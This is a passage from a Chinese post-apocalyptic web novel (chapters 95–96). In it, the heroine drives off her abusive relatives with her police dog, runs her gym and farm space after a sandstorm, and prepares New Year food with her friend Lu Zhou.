“小薇，我们哪有钱？你前几年闹的那一场，差点让你姑父把家底都赔进去了……”秦凤叹了口气，看秦小薇的眼神，像是在看不懂事的小辈，“这两天刮沙尘暴，咱们住的帐篷 都被沙子压塌了……我们实在是没办法了，才来求你帮忙，咱们毕竟是亲姑侄，你就收留我们住几天吧！等找到了地方，我们一定立马就搬走！” 秦小薇冷哼一声：“洪周赔钱是因为他贪污，那是他活该！他要是不想赔钱，也可以去蹲局子啊！” 站在秦凤身边的秃头中年男皱着眉开口道：“小薇，我们毕竟养大了你，就算你不念这么多年的情分，不愿意认我们，我们也不怪你……但我们现在是真的遇到困难了，你就帮帮我们一家，收留我们一段时间吧！” 他的演技没有秦凤好，声音十分僵硬，看他脸上阴狠的表情，怎么看都不像是真心“求和”的。 健身房此时也有七八个客人，听到动静，纷纷看了过来，走廊上的其他住户，也都打开门出来看热闹。 他们没有工作，每天闲着没事，就只能在楼里吃瓜或是上网娱乐，但最近因为沙尘暴太阳能板不工作，断电之后，他们的娱乐活动大大减少，空闲时间也就只能吃瓜看热闹。 秦小薇直接弯腰摘掉德牧的嘴套，冷笑一声，高声道：“我跟你们可没什么情分！你们一家子跟一窝毒蛇似的，拿了我爸妈的赔偿金不算，还虐待我，让我从小就在你们家当牛做马……我可不敢放你们进我家的大门！你们还是赶紧滚吧！要不然小心我放狗咬你们……” “我这狗和一般的宠物狗可不一样，它可是从警犬基地出来的，是真的会咬人的！” 三人的脸色顿时变了，尤其是一直没开口的男生，吓得直接躲到了他妈妈的后面，虽然秦凤瘦弱的身体根本遮挡不住他肥硕的身躯…… 他拽了下秦凤的衣角，小声开口道：“妈，我就说咱们跑这一趟没用……我们还是回去吧！” 秦凤脸色难看地看着秦小薇，并没有说话。 见他们一家三口又来闹事，健身房几个教练和学员们打了个招呼，大步跑了过来，她们站在一人一狗身后，气势汹汹地盯着秦凤一家三口，一副随时准备动手把他们扔出去的模样。 秦小薇则解开了德牧背上的狗绳。 她还不知道朔月战斗力怎么样呢！刚好趁着这个机会试试…… 人要是被咬伤了也没事，反正是在宁市，大不了去找陆昼走后门，反正她肯定进不了局子！ 只能替原主报一下被虐待的仇！ 秦小薇发现，她现在动用起陆昼的关系，是越来越顺手了！ 看到秦小薇真的把狗绳解开了，夫妻俩还没什么反应呢，他们儿子就先扔了行李跑了，爆发出了和他肥胖的身体完全不符合的速度。 秦小薇：“……”真怂啊，白长一米八了！ 她也没和夫妻俩客气，指着秦凤对朔月下命令：“朔月，上！” “汪——”德牧听到指令后，直接冲上去咬住秦凤的胳膊，秦凤没有准备，跌倒在地上，却依旧被德牧拽着往秦小薇的方向拖…… “啊！救命！”两人吓得尖叫，中年秃头□□本没管秦凤，跟他儿子一样，直接丢下行李跑了。 “朔月，可以松口了！”秦小薇单手抓住朔月的背心，控制住它，她看向地上满脸狼狈的女人，“秦凤，你这么多年伏低做小又有什么用？遇到了危险，你老公儿子还不是全都丢下你跑了……” 秦凤苍白着一张脸躺在地上，并没有说话。 秦小薇和几个教练一起，把秦凤连人带行李一起扔了出去，才重新拴上狗绳，和德牧一起看店。 教练们都被她的果断惊到了：“店长，你竟然真的放狗？！” 秦小薇：“我专门去警犬基地领养狗，就是看中它的战斗力，要是不能看家护院、保护主人，现在这年头谁养狗啊？” “而且……他们都来了三次了，这次不把他们整怕了，他们后面还敢来！跟个苍蝇似的，也太烦人了！” 教练：“确实，现在人吃的能量饼干都得凭身份证限量买，想弄点狗粮就更不容易了……不过店长，你刚刚也太果断了！万一狗把人咬伤了怎么办？” 秦小薇笃定道：“不会的，朔月上过学，有分寸！” 虽然她嘴上说得肯定，但她心里对这事儿其实挺没底的，秦凤要不是穿着厚厚的棉服，就朔月那一口……现在她手臂上估计要多好几个洞了。 众人散了之后，秦小薇上网了解了一下江安区的情况。 虽然秦凤一家住的帐篷塌了让她想要拍手鼓掌，但她其实并不希望这样的情况大面积发生，江安区那边的难民要是都无家可归了，宁市肯定会乱起来…… 她还是希望宁市能一点点恢复，慢慢走出地震和台风的阴影！ 看完同城APP上的消息后，秦小薇有些无语，什么帐篷被沙尘暴压塌了，完全就是无稽之谈！ 这一家三口找借口也不知道找个没那么假的！ 宁市的沙尘暴虽然很严重，但是还没严重到能把帐篷埋了的地步，只要隔一天稍微抖一抖，帐篷上的沙子就会自己散落下去。 江安区那边的难民，也就出门的时候会吃一嘴沙，外加帐篷帘子没合严实的时候被沙尘糊一脸……她翻了一堆帖子，也没看到有网友说自己住的帐篷被沙子给压塌了。 第95章 第95章麻辣兔丁（双更合一）…… 秦小薇又上网搜了下其他省市的情况,国内很多城市都受到了沙尘暴的波及，但除了A省及附近的部分城市，其他城市的情况都还好……相比于之前的高温和暴雨,这场沙尘暴确实不算严重,至少没有造成人员伤亡。 A省的情况严重一些,有些安全屋，都快被沙尘埋了,个别比较懒的普通人,因为一直待在屋里不出来，只吃之前省下的能量饼干和水,已经被活埋在安全屋里了。 警察把安全屋清出来的时候，里面的人都已经硬了…… 当地的预警中心还发短信提醒市民及时清理建筑周围堆积的沙土。 为了不被活埋，A省的普通人每天都得出门清理好几次门口的黄沙。 秦小薇觉得,秦凤一家三口可能是从A省那边得到了灵感,才会胡诌自己住的帐篷被沙尘压塌了…… 那边原本就缺水，出现沙尘暴之后，大量颗粒物落入河流和湖泊,水利工程设施淤塞，A省只恢复了一小部分的供水系统又瘫痪了……专家还预测,这场沙尘暴会导致干旱区域恶性循环,导致土壤退化和土壤持水能力持续下降。 现在A省那边更缺水了，好在之前高温的时候，国内生产了很多淡化水,高温过后，各地的水厂也一直都在工作……A省现在还有存货，拿出来也能顶一段时间。 实在不行，只要路还通着,国内其他省市也可以支援一部分饮用水过去。 总体来说，A省的情况虽然很艰难，但是还没到“弹尽粮绝”的地步，再坚持坚持，还是可以熬过这一两周的…… 健身房并没有安装大片的落地玻璃窗，因此采光并不是很好，断电这几天，健身房基本上是天色刚变暗就关门。 健身房关门后，秦小薇就牵着狗绳回公寓了。 像德牧这样的大型犬，一般精力都很旺盛，就算朔月性格比较“安静”，每天也需要一两个小时的户外活动消耗多余的精力，好在农场空间里的面积足够大，秦小薇不用特意出门遛它，每天中午吃饭、午休的时候，解开狗绳，让它自己在空间里活动，它就可以自己遛自己，非常省心。 短短几天，朔月也习惯了这种作息，每天一到饭点，就蹲在地上，吐着舌头、满脸期待地等秦小薇带它进空间。 今天面对秦凤的时候，朔月表现得很好，秦小薇晚上给它准备狗饭的时候，特地多给了它一个鸡腿奖励它。 担心它被鸡骨头卡到，鸡腿肉都是拆下来的。 秦小薇拍了下它的脑袋：“朔月，你今天表现得很英勇，奖励你一个大鸡腿！下回继续保持！” 朔月用脑袋拱了下她的手。 秦小薇：“好了，可以吃了！” 听到指令，朔月这才把脑袋埋到饭盆里，它的狗饭已经全部换成了鲜食，可能是因为习惯了顿顿都有好吃的，它吃饭的时候不像刚来的时候那么急了，有时候一人一狗同时开始吃饭，基本上可以同时结束。 和香肠那种风卷残云的吃法完全是两个风格…… 吃完饭之后，秦小薇又去机场提交了几个订单，今天的十张订单完成之后，她面前出现了一阵烟花特效——农场又升级了。 这次升级，只有烘焙工坊解锁了甜甜圈，并没有解锁其他的基础设施，但另外给了8000金币，这8000金币，秦小薇要花不少工夫才能攒到。 因此就算农场里没有解锁新的基础设施，她也还是挺开心的！ 总算是可以让她缓一缓了，解锁了建筑，却没钱买的感觉太难受了！ 这些天虽然天天吃补铁餐，但她运动 的时候“续航”依旧不太行，秦小薇今天不打算夜跑，她想了想，决定带朔月出海吹风。 秦小薇之前接朔月回来的时候问过警犬训导员，和香肠一样，它也是会游泳的，但可能是因为从来没见过海，它第一次在沙滩上看到忽然拍过来的海浪，还会被吓得连连后退……但在空间里待了几天，它慢慢也敢下水玩了。 她给朔月穿上救生衣，才带着它和小黄上了空间里那艘最大的蛋糕船。 秦小薇：“出发了——” 她在驾驶室里开启了自动驾驶模式，然后带着狗和鹦鹉去了甲板上。 她拿出一块自制的奶油蛋糕坐在沙发上，担心朔月第一次坐船会害怕，她还把狗抱进怀里，一边吹着海风，一边吃饭后甜点。 朔月虽然是第一次坐船，却表现得非常兴奋，它挣扎着从秦小薇怀里跳了下来，沿着甲板一直在跑酷，耳朵都成了飞机耳…… 鹦鹉也拍着翅膀盘旋在蛋糕船上方，时不时发出几声清脆的鸟鸣…… 跑了快半个小时，它才安静下来，趴在围栏边上，盯着下方不断翻腾的海浪发呆晒太阳。 秦小薇又给自己整了杯奶茶，她吸着奶茶，惬意地闭上了眼睛。 她这小日子过得是越来越舒坦了！ 一转眼，时间又过了好几天，宁市的沙尘暴总算是结束了。 秦小薇拿着打湿的拖把，和员工们站在窗户边上，打开窗户，探出大半个身体，把太阳能板上积累的泥灰都擦掉，健身房的供电才恢复。 上午，她还提了一桶水下去，把完全变成黄色的SUV洗了一遍。 她洗车的时候，奚川家的保镖在边上和她做一样的事，秦小薇冲着他点了点头，就算是打过招呼了。 可能是因为之前车子停在下面被划了好几次，奚川现在已经不开他那花里胡哨的昂贵跑车了，而是换成了一辆非常低调的国产车。 不过价格也要好几十万…… 在下面吹了这么久沙尘暴，中途外面还下了一场全是泥点子的雨，车身现在特别脏，连带着漆面都受到了一些损伤。 秦小薇换了好几桶水，才把车子洗干净。 她刚洗完车，正准备提着水桶上楼，就接到了陆昼的电话。 秦小薇用肩膀和脑袋夹着手机，一边摘手上的乳胶手套，一边往电梯的方向走：“喂？” 陆昼：“香肠需要一些新鲜食物。” 秦小薇顿时明了，他这是想让她给香肠送菜，她想了想，回道：“我一个小时后到。” 顺便去他们小区的诊所检查一下，总感觉上次献完血之后，身体就有点“虚”，补了这么多天好像也没什么用…… 她上楼放了水桶和抹布，又给德牧换了件背心，才牵着它下楼。 上车后，秦小薇发现车子启动不了了，她对车辆的构造其实不太了解，只是会开而已，她上网搜了半天，又检查了一圈也没发现到底是哪里出了问题。 秦小薇：“……” 她无奈地拿出了手机，拨通了陆昼的电话：“一个坏消息，我的车坏了，启动不了了，你能找到修车的吗？” 陆昼“嗯”了一声：“我联系人过去拖车……要我去接你吗？” 秦小薇：“不用，我可以骑自行车过去！” 陆昼沉默片刻，开口道：“还是我去接你吧！” 秦小薇：“……”他什么意思？看不起自行车吗？ 但她想了想，还是接受了他的提议，虽然这段路程并不远，但路面太颠簸了，骑车过去有点费屁股…… 陆昼是和拖车一起过来的，秦小薇看着拖车把SUV拖走之后，才上了他的吉普车。 秦小薇看着拖车的背影，忍不住叹了口气：“修车之前，他们会给我报价的吧？” 之前暴雨的时候，很多车都被水泡坏了，但是保险公司一辆都没赔，有人气愤之下，去把保险公司砸了，还有人打官司维权……但都没什么用，最后保险公司一分钱都没赔。 几场天灾下来，很多保险公司都解散了，秦小薇的车也就没有上保险。 要是出了事，需要修车什么的，全部都得自费。 陆昼只扫了她一眼，就知道她心里在想什么：“你缺钱了？” 秦小薇摇头：“那倒没有，最近健身房生意还不错，我荷包还是挺鼓的……但现在车子比较少，汽修公司生意肯定也不怎么好，我担心他们把我当成冤大头，会狠狠宰我一顿！” 陆昼：“那你可以把心放回肚子里了，那家店是我朋友开的，不会坑你的。” 秦小薇顿时放心了：“那就好。” 这些天因为沙尘暴，她都没出门，想到还在家里养伤的拉布拉多，秦小薇关心道：“香肠怎么样了？” 陆昼的眉眼变得柔和起来：“好得差不多了，天天在家里闹着要出去玩……” 秦小薇：“它精力太旺盛了，不像我们家朔月，可以安安静静地陪我在健身房看一整天店！” 陆昼：“你是在和我炫耀吗？” 秦小薇：“……”虽然她没有这个意思，但这话好像确实是在炫耀。 沙尘暴过后，宁市到处都蒙着一层黄沙，看上去灰扑扑的，路上很多人戴着口罩在打扫，除了穿着制服的清洁工，其中还不乏巡逻队的成员。 秦小薇转头看着陆昼：“现在巡逻队已经不需要巡逻了吗？” 工作时间还得出来扫大街……这么闲的吗？ 陆昼目不斜视：“他们闲下来才好，这意味着社会安定……” 秦小薇：从这个角度想，也挺有道理的，但她的室友们才上岗没几个月，她们不会又要失业吧？ 应该也不至于，至少段霞已经混成小队长了，失业的概率应该比较小……其他两个就说不定了！ 拉布拉多的伤确实好得差不多了，虽然腿上还固定着绷带和夹板，但它走路的时候，受伤的那条后腿已经可以着地了。 就是腿上绑着夹板和绷带，让它走路的时候，看起来有些不协调。 朔月和香肠是第一次见面，来之前，秦小薇还担心它们会合不来，但互相闻过屁屁后，两只狗就玩到一起了…… 到了陆昼家之后，秦小薇直接带陆昼进了空间，去地里挑新鲜的蔬果。 陆昼挑的时候，她也没闲着，拿了两个大框跟在他后面，摘了一大堆新鲜的蔬菜。 地里的菜实在是太多了，总是喂猪喂鸡也浪费，秦小薇打算多弄点带回去发给员工们。 她还拉着陆昼一起，帮她把这些蔬菜整齐地摆在筐子里，让它们看起来更像是批发来的…… “玉米和南瓜直接扔蛇皮袋里吧，应该也看不出来！” “白菜外面套一层防撞膜！对了，还要贴标签……我去找一下之前用剩下的标签！” “鸡蛋别忘了盖章！” “兔子繁殖得太快了，笼子都快不够用了，要不再杀几只兔子吧？陆昼，你觉得兔肉怎么包装比较好？” “……” 看到田里丰收的盛景，陆昼得知她还 有好几车库存的蔬菜、水果后，沉默了一会，又拿了几个筐，去地里多装了一些…… 他俩干活的时候，两只狗也在边上，朔月喜欢口感比较脆的食物，秦小薇就扔了几片冲干净的白菜叶子，让它啃着玩，朔月乖乖趴着，一口口吃得很认真。 她又给香肠扔了两片，它也吃了，但它下巴上就像是有个大漏勺似的，一边吃一边往下漏。 陆昼看了它一眼：“香肠不爱吃素。” 秦小薇：“看出来了，它吃得很不情愿……” 杀兔子的时候，陆昼忽然问她：“你的射钉枪用完了吗？要我再给你弄一箱吗？” 秦小薇：“不用，我已经改装好了，现在有三把备用的！” “改装好了？”陆昼的声音略微提高了一些，看起来十分惊讶。 秦小薇停下手上的动作，盯着他，不满道：“你这么惊讶干什么？你该不会是一直觉得，我成功不了吧？” 陆昼非常有求生欲地开口道：“我不是！我没有……我就是有点惊讶，你的速度竟然这么快！” 秦小薇：“哪快了？我折腾好久了，枪管一直有焊接的痕迹，钉子出来得特别不顺畅，我用锉刀磨了好久才弄好，肱二头肌都变结实了……” 干完了活之后，秦小薇又下楼去挂号抽了个血，医院里没什么病人，检查结果很快就出来了。 其他指标都是正常的，就是血红蛋白的数值有点低，知道她前不久献过血之后，医生和她说这是正常的，过几周就会恢复…… 医生对她还有印象，临走前，还关心那几头割了蛋蛋的猪崽怎么样了，还问她以后要是杀猪吃肉了能不能卖他一点。 这种时候，和医生搞好关系并没有什么坏处，秦小薇便答应了。 十二头小猪崽呢！不到半年就能出栏，就算按一头猪两百斤算，也有2400斤，再加上她空间里还有鸡鸭鹅牛羊兔子，以及稳定出产的鱼肉虾肉培根……送出去一点肉做人情，她真的一点都不心疼！ 她现在最不缺的就是各种食物了！ 回到健身房后，秦小薇把带回来的食材给员工们分了，见秦小薇给她们每人都分了半只兔子，众人顿时十分惊喜。 “今天竟然有这么多兔子，咱们老板也太大手笔了吧！” “我不会做兔肉，你们会吗？” “我会做辣炒兔丁，但是咱们的调味料好像不太够……” “楼下的集市应该能淘到调味料，我今天没预约了，我现在就下去！” “文文，你买东西的时候记得检查一下，开封的和过期的都不要！” “知道了！” “……” 因为秦小薇说之后“老板”会经常弄兔子给她们加餐，她们没像之前那么抠搜，晚上做饭的时候，直接剁了两只兔子，炒了一大盆麻辣兔丁。 员工宿舍太小了坐不开，她们晚饭是在健身房吃的，今天有两菜一汤，而且分量都特别大，难得能放开膀子吃肉，大家都只顾着夹菜，作为主食的能量饼干，她们都只吃了平常的一半…… 吃完饭之后，还有人想收拾了兔子骨头给德牧“加餐”，被秦小薇以骨头可能会划伤狗狗的食道肠胃拒绝了。 可能是因为昨天分到的食物太多了，店里很多员工都对德牧开启了“投喂模式”，第二天早上，秦小薇带着它去上班的时候，它一下子收到了五枚水煮蛋。 秦小薇连忙提醒其他人：“我早上给它喂过鸡蛋了，一次吃太多鸡蛋，可能会对它的身体造成负担……” 众人只能遗憾地收回水煮蛋，并叮嘱秦小薇，明天不用给它煮蛋了，让她们来喂，她们甚至还排了班…… 秦小薇：“……”算了，从今天开始，把鸡蛋从朔月的食谱里剔除吧！ 中午的时候，秦小薇看到寝室群里连着刷出了好几条消息。 【肖琳琳：江安区这边也太忙了！我觉得这一上午，比我刚加入巡逻队的时候还要忙！】 【肖琳琳：我已经累到连中饭都没胃口吃了。】 【肖琳琳：猫猫倒下.jpg】 【秦小薇：你们换执勤区域了？】 【肖琳琳：没有，就是这边人手不够！特别缺女警，我们暂时被借调过来了，过段时间还是会回去的。】 【秦小薇：缺女警？】 【范槿：是啊！这边很多女生私下卖|淫……警察抓都抓不过来，就和我们巡逻队申请人手支援。】 【范槿：今天也算是给我开眼界了！】 【范槿：裂开.jpg】 【秦小薇：市区之前也有这种窝点，之前冯教练帮一个学员抓奸，结果发现她老公嫖|娼，她们把那个窝点举报了，结果冯教练差点被送进去……】 【秦小薇：捂脸.jpg】 【范槿：和那个不一样！】 【范槿：那种窝点都在一个地方，好办得很，直接捣毁就行了。但江安区这边是分散的，有些人，自己一个人就干起了这种生意，有些还搞“□□”……】 【肖琳琳：据说是因为之前当地的官方不管事，还一个劲压榨他们，连住安全屋都要找各种理由收钱，有些人连吃饭的钱都拿不出来，就形成了这种风气……女的靠出卖自己的身体赚钱。】 【肖琳琳：她们在这边找不到工作，要想吃饱饭就只能去工地上干活，有些人受不了苦，就又重操旧业了……】 【段霞：还好市政把他们和宁市的普通居民分开安置，要不然……我简直不敢想市区现在会变成什么样子。】 【秦小薇：……】 【秦小薇：新闻上不是说了吗？安全屋是免费的，他们交钱的时候，难道就没觉得不对劲？】 【段霞：当地的收钱名目是什么垃圾处理费、搬家费……反正就是想住安全屋就要交钱！要不然就只能继续住免费的帐篷，去举报都没有用，流氓得很！】 【段霞：地震之后那情况，一场冰雹下来帐篷就被砸塌了，想活命就只能交钱搬进安全屋里……据说他们过得挺艰难的！】 【秦小薇：……】 这么一对比，他们宁市真的管理得很好，至少她到目前为止，只从社区的工作人员那里领到过免费的物资，还没给官方交过奇奇怪怪的费用……虽然暴雨过后，因为生存艰难，市面上“奸商”的数量激增，稍不注意就会被坑。 但至少宁市的官方还是靠谱的！ 【秦小薇：那你们好好加油，等忙完了这段时间，我请你们吃烤兔子！】 【范槿：今天知道太多黑暗的事了……我现在完全不想吃东西。】 【段霞：+1】 【秦小薇：没事，胃口这种东西总会恢复的！】 因为江安区那边几乎没有宁市的市民，那边轰轰烈烈开展的扫黄行动，也没有影响宁市普通人的正常生活。 沙尘暴结束后，健身房的人流量也恢复了。 这天下午，秦小薇正在悠闲地摸鱼打游戏，一位教练却拿着手机走了过来，脸上的表情有些担忧：“店长，振新路那边新开了一家健身馆，他们团购的套餐和我们店一样，但是比我们店便宜十块钱，不会影响咱们店里的生意吧？” 因为健身房的员工福利一直不错，大家关系也很和睦，所以教练们对健身房还是挺有归属感的，一发现有竞争对手出现，就立刻过来找她了。 第96章 第96章水果软糖（双更合一）…… 秦小薇早就知道这事,但听到教练的话，还是忍不住皱了下眉。 她接过手机看了看，那家店叫白云女子健身馆,除了一个小时的防身术体验课,对方还在店铺团购里上新了别的套餐,比如说健身周卡、月卡、拳击课……看视频介绍，课程的内容和她们店大差不差,就连有些动作,都和她们设计的一样。 但整体价格都比她们店便宜，大概是她们健身房七到八折的样子。 除此之外,对方还在主页放了很多健身教练的介绍，单看履历，也都是金光闪闪的…… 现在社会大环境不好,很多人都失业在家,健身房的私教课也不便宜，要是效果都差不多，顾客愿意选哪家店,用脚趾头想也能知道。 秦小薇皱了下眉，对方这是仿照他们店铺弄了个低价版的？ 秦小薇把手机还回去的时候,教练忽然提议道：“店长,要不咱们团个套餐，派个人过去体验一下，探探虚实？” 秦小薇想了想,宁市这么多人，市场这么大，就算对方弄了个低价版的，宁市就两家店,对她们店生意的影响应该不会很大……至少不会导致她们店铺倒闭。 不过，既然她们两家都是开女子健身房的，她也不介意去打探一下情况，知己知彼。 要是对方不如她们，她也就不用管了…… 要是两家的实力旗鼓相当，或是她们店铺实力差很多，她就想想别的方法…… 秦小薇点头道：“我找个朋友过去看看吧！” 教练眼巴巴地看 着她：“我不行吗？” 秦小薇摇头：“你毕竟是咱们健身房的金牌教练，这家店既然照抄我们店，肯定也认识咱们店里的人，你要是被认出来就尴尬了，我找别人吧！” 她有些失望，但并没有坚持。 秦小薇打开聊天软件，联系了一个大学的时候认识的校友，看对方朋友圈的定位，她就住在白云女子健身馆边上，来回非常方便。 知道秦小薇找她的原因后，对方没怎么犹豫就答应帮忙了，不过今天是工作日，她要上班，得等到周末才有时间帮秦小薇“打探情况”。 这事着急也没用，秦小薇道谢过后就继续上线打游戏去了。 一连好几天，健身房员工的晚饭都是辣炒兔丁配能量饼干，那香气本就霸道，对于很多天没开荤的普通人来说，实在是太有诱惑力了，这几天，一到了饭点，楼道里的其他邻居，就纷纷打开家门，就着那股香气啃能量饼干。 当然，也有人看着眼红，过来讨吃的，但都被教练们撅回去了…… 这天晚上，众人一起吃饭的时候，有个教练忽然提起了之前骚扰彭麦麦的那个猥琐男：“……我朋友昨天早上在他排队买菜的时候去找他搭讪了，还塞给了他一张假的房卡，把那家伙吓得不行，连菜都没买，就回来了哈哈哈……” “剧本”她们之前就商量好了，但当时外面都是黄沙，出门不方便，才拖到了现在。 秦小薇顿时来了精神：“有没有拍照片和视频？” 要是拍了视频，她下饭的电子榨菜就又多一个了！ 周文：“拍了，但是当时天还没亮，拍出来的照片根本就看不清他的脸……” 秦小薇：“啊？你朋友也太讲义气了，天没亮就去了！” 周文：“嗨！他也是去排队买菜的，没想到刚好看到了那家伙……那家伙跑之后，我朋友还顺道占了他的位置，抢到了一把菠菜，白天还发消息感谢我来着……” 方唯依：“我师弟说他明天过来，我到时候让他拍个视频给我们乐呵乐呵！” 秦小薇：“那太好了！” 众人说笑着，很快就吃完了一顿饭。 吃完饭收拾完碗筷，众人就散了，秦小薇带着德牧去空间里吃了一盆狗饭，又喂了小黄，才出来窝在沙发上玩手机。 没一会儿，手机上忽然弹出一条本地新闻，标题是：喜迎新春，移动物资点将加大物资供应！ 她愣了两秒，打开手机日历看了看，才意识到农历新年快要到了！ 今年宁市实在是“多灾多难”，很多普通老百姓连生存都成了一个大问题，连带着也没了庆祝各种传统节日的心思。 不过春节算是一年中最重要的节日了，这几个月宁市又比较“太平”，市政带头庆祝，似乎也很正常。 秦小薇点开新闻看了看，这次供应的新春物资有半斤肉、两斤蔬菜、两斤主食和三斤副食。 按照新闻里说的，每人限购一份新春物资包，人人都能买到，物资包里包含上述所有的东西，物资包的价格也不贵，50块钱一份。 同城APP上已经有很多市民在发帖讨论这件事了，过不过年的另说，但物资包里的东西，所有人都很眼馋……毕竟移动物资点那儿的肉是真的很难抢！ 秦小薇想了想，决定趁着过年，再给员工们发一波“福利”，让大家都能过个好年。 虽然距离过年还有一周多，但为了减缓工作人员的工作压力，第二天早上，楼下的移动物资点就开始供应新春物资包了。 市民们也不在意这些东西能不能放到过年，看到卡车运来了那么多物资，立刻过去排队抢购。 一整天，同城APP的首页都是晒新春物资包的帖子。 每份物资包的总重量是相同的，但里面的东西却完全随机，就跟开盲盒似的。 比如说副食品，可能买到糖果花生，也可能买到蛋糕饼干，还可能只拿到一瓶1.5L装的饮料…… 除了晒物资，还有人在同城APP上进行物资交换；还有人实在是缺钱，直接在网上发帖，转卖物资包的购买资格，专门帮人家代购，也能赚上好几百。 新春物资包出现后，因为天灾而笼罩在宁市普通市民头顶的阴霾似乎都消散了许多…… 下午的时候，秦小薇和店里的员工也轮流下去排队买了物资包。 她拿到的物资包里有半斤鸡骨架、一颗圆白菜、两斤土豆大米还有三斤花生酥。 秦小薇：“……”怎么还把骨头当肉卖呢？ 土豆大米是国内的专家新研发出来的，原材料主要是土豆、魔芋粉、玉米粉和玉米芯粉，经过工业加工，做成了大米的形状。 秦小薇之前在网上看到过，知道国内有些地方已经开始用它们代替能量饼干了，但在宁市还是第一次看到。 因为魔芋吸水后会膨胀，据说这东西的饱腹感比能量饼干还要强…… 秦小薇有些好奇它的味道，当天晚上就用电饭煲煮了一锅，土豆大米里魔芋粉的含量很高，因此煮饭的时候，加的水是普通大米的好几倍，一小把米就能煮出很多。 今天公寓楼不少人都买到了物资包，楼道里全是食物的香气，她也没进空间里偷偷摸摸地煮饭，直接用电饭煲在公寓里煮了一大锅土豆大米饭。 土豆大米的口感是□□弹弹的，直接吃没什么味道，秦小薇加了点肉酱、榨菜拌了拌，味道才变好。 这东西味道完全比不上大米，煮出来的饭，也没有谷物的香味，但是加调味料之后它会完全染上调味料的味道，如果好好调味的话，秦小薇觉得，这东西还是比能量饼干好。 毕竟能量饼干的口味太单一了，但这东西加上不同的酱料之后，可以调出上百种味道，对于国内从小吃各种美食的普通人来说，勉强也能骗骗嘴巴了…… 反而是朔月，今天没进空间里吃饭，还有些不习惯，吃完饭还叼着饭盆看着她。 秦小薇知道，它是想进空间里玩了，她正准备带它进空间里玩一会儿，陆昼的电话就打了过来。 陆昼：“一起去接个朋友，你现在有空吗？” 秦小薇：这家伙又弄到物资了？ 秦小薇看了下时间，答应了：“你来接我吧！我的车还没修好！” 因为车子停在楼下没罩车衣，这场沙尘暴，给车子带来了不少问题，不仅发动机系统坏了，空气滤清器也出了问题……还要再等两天才能修好。 陆昼：“好，我现在过来。” 大约半个小时后，秦小薇又接到了他的电话，她上车后才发现，陆昼把香肠也带出来了。 她有些惊讶：“你怎么不让香肠继续在家里养伤？” 他的声音里满是无奈：“它太闹腾了，带出来转一圈，它能安静两天……” 秦小薇想想拉布拉多的性格，觉得它能在家里关这么多天没拆家也挺不容易的。 这家伙的精力是真的充沛，之前腿没受伤的时候，它跟着巡逻队在外面执勤，一跑就是一整天，风雨无阻。 它一看到秦小薇，就凑过来要舔她，秦小薇连忙用手抵住它的脑袋，往它嘴里塞了一块鸡肉干：“见面礼给你了，别闹腾了，好好躺着养伤吧！” 鸡肉干是专门给朔月做的小零食，就放在仓库里，拿取很方便。 “汪——” 见秦小薇给拉布拉多喂了吃的，朔月也凑了过来，用爪子扒拉她。 “朔月，你不是刚吃过饭吗？怎么也要？”秦小薇揉了下它的脑袋，也一视同仁地给它塞了一块鸡肉干。 车子开了一个多小时，才到达目的地，黑黢黢的石子路上空无一人，路旁停着一辆冷藏车，司机早已不知所踪。 陆昼指着冷藏车开口道：“这车我不用还回去，你一起收进空间里吧！” 秦小薇没急着动手，她看着冷藏车，有些兴奋：“你这次又弄到了什么好东西？” 陆昼没有回答她的问题，他沉默了一会，开口道：“要不你自己打开看看？” “会不会太耽误时间了？”虽然嘴上这么说，但秦小薇的动作却很利落，直接爬上车，三两下拉开了冷藏车的车门。 她打着手电筒，朝车里照了照，看清车里的东西后，她顿时有些无语：“陆昼，你用冷藏车装这么多空塑料筐干什么？” 陆昼：“方便你打包空间里的肉菜，除了塑料筐，里面还有纸箱和打包袋，等以后空间里的牲畜杀了，我们可以把它们伪装成是很久之前生产的冻货……就算拿出去和人交换物资，也不会惹人怀疑。” 秦小薇：“……” 秦小薇：“你想得还真远！” 陆昼：“谢谢夸奖！” 回家后，秦小薇进空间把冷藏车里的东西都搬出来仔细检查了一遍， 里面除了陆昼之前说的那几样，还有真空机和真空打包袋，且大部分袋子和纸箱上都有生产信息和商标。 都是些市面上已经倒闭了的牌子。 秦小薇只要按照袋子和纸箱上的生产信息把牲畜杀了分装进去，拿出去，绝对不会有人怀疑它们的来源。 除了她空间里有的那些牲畜，冷藏车里还有海鲜、干货、糖果、衣服、冰棒、各种点心的打包袋。 秦小薇看着那些糖果的包装袋，心思微动，仓库里有制糖厂生产的糖浆和白糖，要不……她做点水果糖过年的时候吃？ 刚好晚上闲着也没什么事，秦小薇也不怕浪费食材，她出去搜了下教程，戴上围裙就开始动手了。 熬第一锅的时候火开大了失败了，但后面几锅都很成功，但因为模具不够，糖果只能切成方块形状的。 她用的全都是真材实料，水果软糖的味道比她之前在网上买的水果软糖好吃很多。 秦小薇没忍住，切糖的时候，炫了不少边角料。 德牧看到她在吃东西，一直围在她脚边转圈，哼哼唧唧的用脑袋拱她的腿撒娇，秦小薇怕它吃了糖会掉毛，不敢喂它吃，只分了它几块红艳艳的草莓…… 连着折腾了两个晚上，秦小薇弄了几十斤水果软糖出来，装袋封口的时候，手持封口机都快被她给干冒烟了…… 三个室友一直没被调回来，秦小薇每天都能在群里看到她们抱怨江安区那边的工作辛苦，每天身心都要受到摧残。 刚好这几天在空间里折腾了不少“年货”，她的车也修好了，秦小薇便想开车去慰问一下三个室友，顺便给她们带点好吃的，安慰安慰她们。 还没到江安区，秦小薇就在路上碰到了一队正在执勤的交警，他们身后的路被一排黄黑相间的拒马拦住了，秦小薇在距离他们还有几米远的地方靠边停车。 她按下车窗，探出脑袋：“交警同志，这条路不能走吗？” 一个交警走了过来，上下打量着秦小薇，问她：“你要去哪里？” 秦小薇老实答道：“我朋友是巡逻队的，现在调去江安区工作了，我去找她们有点事……” 交警提醒她：“江安区现在很乱，你过去以后要多小心，不要和陌生人说话，也不要吃陌生人给的东西……” 叮嘱完，他朝身后的同事打了个手势，他们踢了下拒马轮子上的固定刹，就把路让开了。 秦小薇有些莫名：这么容易就让她过去了？那他们搞这么大阵仗拦在这里的意义是什么？ 车子一路往前开，这边的路和之前一样颠簸，不过和上次来的时候不同，路上没了来来往往的运输车，但在距离马路的不远处，却多了不少零散的帐篷。 只扫了一眼，秦小薇就认出来了，那是之前市政免费发给难民们的帐篷。 有些人远远看到她的车之后，直接从帐篷里跑了出来，张开手臂，站在前方，呈“大”字形试图拦车，秦小薇没理他们，继续往前开。 